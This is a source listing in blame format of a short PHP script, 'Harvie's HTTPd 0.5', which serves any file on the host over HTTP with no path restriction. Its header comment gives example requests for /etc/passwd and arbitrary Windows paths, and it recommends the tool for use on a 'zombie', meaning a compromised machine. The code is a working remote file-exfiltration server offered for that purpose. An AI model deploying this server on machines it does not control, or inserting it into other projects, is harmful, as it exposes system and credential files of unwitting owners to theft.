Commit | Line | Data |
---|---|---|
8de51304 H |
1 | #!usr/bin/php\r |
2 | <?php\r | |
3 | //Harvie's HTTPd 0.5\r | |
4 | /*\r | |
5 | Allows you to binary safe download any file from remote pc\r | |
6 | http://server:port/file\r | |
7 | http://server:port//etc/passwd\r | |
8 | http://server:port/C:\dir\file\r | |
9 | http://server:port/C:/dir/file\r | |
10 | You can also play multimedia like streams (using XMMS, Winamp, etc...)\r | |
11 | But this can serve only one file a time\r | |
12 | (if you are streaming or downloading, you can download/browse anything other,\r | |
13 | but you can use download manager to download file by file...)\r | |
14 | You can change port or interface by passing arguments\r | |
15 | Usage: (httpd.php [port] [interface_IP])\r | |
16 | This is very nice utility to use in your zombie.\r | |
17 | */\r | |
18 | \r | |
19 | //////////////////////////////////////////////////////////////////////////////////\r | |
20 | $interface = "127.0.0.1";\r | |
21 | $port = 81;\r | |
22 | $index = "index.html";\r | |
23 | \r | |
24 | //////////////////////////////////////////////////////////////////////////////////\r | |
25 | $okheader = //Header 200\r | |
26 | "HTTP/1.0 200 OK\n".\r | |
27 | "Server: Harvie's HTTPd\n".\r | |
28 | "Connection: close\n\n";\r | |
29 | \r | |
30 | $badheader = //Header 404\r | |
31 | "HTTP/1.0 404 File not found!\n".\r | |
32 | "Server: Harvie's HTTPd\n".\r | |
33 | "Connection: close\n\n";\r | |
34 | \r | |
35 | $err404 = "ERR 404 - NOT FOUND!"; //Error 404\r | |
36 | \r | |
37 | //////////////////////////////////////////////////////////////////////////////////\r | |
38 | if(isset($argc)) {\r | |
39 | if($argc > 1) $port = trim($argv[1]);\r | |
40 | if($argc > 2) $interface = trim($argv[2]);\r | |
41 | }\r | |
42 | \r | |
43 | echo("\n\tStarting Harvie's HTTPd at:\n\ttcp://$interface:$port\n\n");\r | |
44 | //system("title Harvie's HTTPd at tcp://$interface:$port"); //Microsoft Windows only\r | |
45 | set_time_limit(0);\r | |
46 | $sss = stream_socket_server("tcp://$interface:$port");\r | |
47 | \r | |
48 | while(1) {\r | |
49 | @$sfp = stream_socket_accept($sss);\r | |
50 | if(!$sfp) continue;\r | |
51 | \r | |
52 | $loop = 1;\r | |
53 | while($sfp && !@feof($sfp) && $loop) {\r | |
54 | $line = fgets($sfp);\r | |
55 | //echo($line);\r | |
56 | if(eregi("(GET|POST)", $line)) {\r | |
57 | $line = trim($line);\r | |
58 | //echo($line);\r | |
59 | $line = explode(" ", $line);\r | |
60 | \r | |
61 | $line[1] = urldecode($line[1]);\r | |
62 | \r | |
63 | if($line[1] == "/") {\r | |
64 | $line[1] = $index;\r | |
65 | } else {\r | |
66 | $line[1] = substr($line[1], 1);\r | |
67 | }\r | |
68 | \r | |
69 | if(is_file($line[1])) { //200 OK\r | |
70 | fwrite($sfp, $okheader);\r | |
71 | echo("200 ".$line[1]."\n");\r | |
72 | $fp = fopen($line[1], "rb");\r | |
73 | while( fwrite($sfp, fgets($fp)) );\r | |
74 | @fclose($sfp);\r | |
75 | } else { //404 NOT FOUND\r | |
76 | echo("404 ".$line[1]."\n");\r | |
77 | fwrite($sfp, $badheader);\r | |
78 | fwrite($sfp, $err404);\r | |
79 | @fclose($sfp);\r | |
80 | }\r | |
81 | \r | |
82 | $loop = 0;\r | |
83 | }\r | |
84 | }\r | |
85 | @fclose($sfp);\r | |
86 | }\r | |
87 | \r | |
88 | ?>\r |